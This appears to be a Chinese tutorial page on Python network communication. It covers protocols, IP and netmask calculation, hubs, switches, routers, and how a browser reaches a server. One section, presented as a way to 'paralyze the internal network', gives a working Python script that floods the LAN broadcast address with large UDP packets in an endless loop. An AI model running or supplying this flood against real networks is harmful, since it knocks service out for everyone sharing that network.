您的位置:首页技术文章
文章详情页

python网络通信图文详解

【字号: 日期:2022-07-28 18:06:24浏览:3作者:猪猪
目录1. 常用的网络协议2. 数据传输过程3. 两台电脑通信4. IP地址网络号与主机号的确定规则 5. 最开始集线器解决多台电脑通信 6. 使用交换机进行网络通信7. 使用udp协议实现内网瘫痪8. 使用路由器连接多个网络9. 浏览器访问服务器的过程总结1. 常用的网络协议

python网络通信图文详解

ICMP协议又叫:网络控制协议

2. 数据传输过程

python网络通信图文详解

3. 两台电脑通信

网络传输的是数据的信号而不是电流

python网络通信图文详解

4. IP地址网络号与主机号的确定规则

通过ip地址和网络掩码的二进制数实行按位与运算,计算的结果转换为十进制,非0的就是网络号,0的就是主机号

python网络通信图文详解

5. 最开始集线器解决多台电脑通信

但是集线器是以广播的形式发送数据,设备一多就会导致网络拥堵。

python网络通信图文详解

6. 使用交换机进行网络通信

单播写对方的mac地址,广播mac地址写6组FF:FF:FF:FF:FF:FF

python网络通信图文详解

7. 使用udp协议实现内网瘫痪

先根据IP地址和网络掩码二进制按位与计算出网络号,在使用udp往当前局域网(网络号)下面无线循环发广播,使局域网濒临瘫痪

import socket # 导入socketdef main(): try:# 1、创建socket套接字udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # socket.SOCK_DGRAM 这里是指定UDP协议# 2、指定地址data_address = ('192.168.255.255', 64300)# 地址要是一个 元组,第一个'192.168.100.255'是内网的广播地址,第二个 64300 是你计算机当前的端口## 这个端口不必太在意,64300 只要不是被其他程序占用的就行,# 3、发送数据while True: send_data = '1' * 57175 # 这里发送的数据可以随意点 udp_socket.sendto(send_data.encode('UTF-8'), data_address) # 第一个参数sendData.encode('UTF-8')是要发送的数据,('UTF-8')是设置发送数据的编码, # 第二个参数(dataAddress)是发送数据的地址,也就是笔者内网的广播地址 except Exception as result:print('未知错误' + str(result))if __name__ == ’__main__’: main()8. 使用路由器连接多个网络

路由器的作用:连接两个以上的网络为一个大网络

网关:具有转发数据能力的设备

当AB两台电脑不在同一个网络下想进行通信时,A电脑需要先把数据发送到默认网关,网关具有转发数据的能力,网关再把数据转发给B电脑,默认网关一般都是路由器

python网络通信图文详解

python网络通信图文详解

数据在转发的过程当中,ip地址不变,mac地址每转发一次就发生一次变化

9. 浏览器访问服务器的过程

python网络通信图文详解

(1)向DNS服务器发送请求进行解析域名

(2)向http服务器发送3次握手

(3)握手成功后,向http服务器发送Http格式的请求数据

(4)所有请求完毕后,向http服务器发送4次挥手

网络数据包发送过程当中源IP目标IP不变,源mac和目标mac每通过路由器网关转发一次就会发生一次变化

总结

本篇文章就到这里了,希望能给你带来帮助,也希望您能够多多关注好吧啦网的更多内容!

标签: Python 编程
相关文章: